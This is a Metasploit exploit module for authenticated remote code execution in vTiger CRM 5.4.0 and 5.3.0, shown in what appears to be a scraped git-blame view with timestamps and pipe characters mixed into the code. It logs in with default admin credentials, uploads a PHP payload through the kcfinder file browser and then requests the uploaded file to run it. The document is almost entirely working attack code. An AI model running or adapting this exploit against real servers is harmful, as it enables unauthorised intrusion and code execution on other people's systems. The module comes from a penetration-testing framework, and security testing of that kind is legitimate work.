2013-10-30 15:25:48 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
vTiger CRM allows an authenticated user to upload files to embed within documents.
|
|
|
|
Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP
|
|
|
|
script and execute aribtrary PHP code remotely.
|
|
|
|
|
|
|
|
This module was tested against vTiger CRM v5.4.0 and v5.3.0.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2013-10-30 16:36:16 +00:00
|
|
|
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
|
2013-10-30 15:25:48 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Platform' => ['php'],
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'BadChars' => "&\n=+%",
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Oct 30 2013'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']),
|
|
|
|
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
|
|
|
|
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = nil
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') })
|
|
|
|
rescue
|
|
|
|
print_error("Unable to access the index.php file")
|
|
|
|
return CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
|
|
|
if res and res.code != 200
|
|
|
|
print_error("Error accessing the index.php file")
|
|
|
|
return CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
|
|
|
if res.body =~ /<div class="poweredBy">Powered by vtiger CRM - (.*)<\/div>/i
|
|
|
|
print_status("vTiger CRM version: " + $1)
|
|
|
|
case $1
|
|
|
|
when '5.4.0', '5.3.0'
|
|
|
|
return CheckCode::Vulnerable
|
|
|
|
else
|
|
|
|
return CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
return CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
init = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/index.php')
|
|
|
|
})
|
|
|
|
|
|
|
|
sess = init.get_cookies
|
|
|
|
|
|
|
|
post = {
|
|
|
|
'module' => 'Users',
|
|
|
|
'action' => 'Authenticate',
|
|
|
|
'return_module' => 'Users',
|
|
|
|
'return_action' => 'Login',
|
|
|
|
'user_name' => datastore['USERNAME'],
|
|
|
|
'user_password' => datastore['PASSWORD']
|
|
|
|
}
|
|
|
|
|
|
|
|
login = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/index.php'),
|
|
|
|
'vars_post' => post,
|
|
|
|
'cookie' => sess
|
|
|
|
})
|
|
|
|
|
|
|
|
fname = rand_text_alphanumeric(rand(10)+6) + '.php3'
|
|
|
|
cookies = login.get_cookies
|
|
|
|
|
|
|
|
php = %Q|<?php #{payload.encoded} ?>|
|
|
|
|
data = Rex::MIME::Message.new
|
|
|
|
data.add_part(php, 'application/x-php', nil, "form-data; name=\"upload\"; filename=\"#{fname}\"");
|
|
|
|
data.add_part('files', nil, nil, 'form-data; name="dir"')
|
|
|
|
|
|
|
|
data_post = data.to_s
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/kcfinder/browse.php?type=files&lng=en&act=upload'),
|
|
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
|
|
'data' => data_post,
|
|
|
|
'cookie' => cookies
|
|
|
|
})
|
|
|
|
if res and res.code == 200
|
|
|
|
print_status("Triggering payload...")
|
|
|
|
send_request_raw({'uri' => datastore["TARGETURI"] + "/test/upload/files/#{fname}"}, 5)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|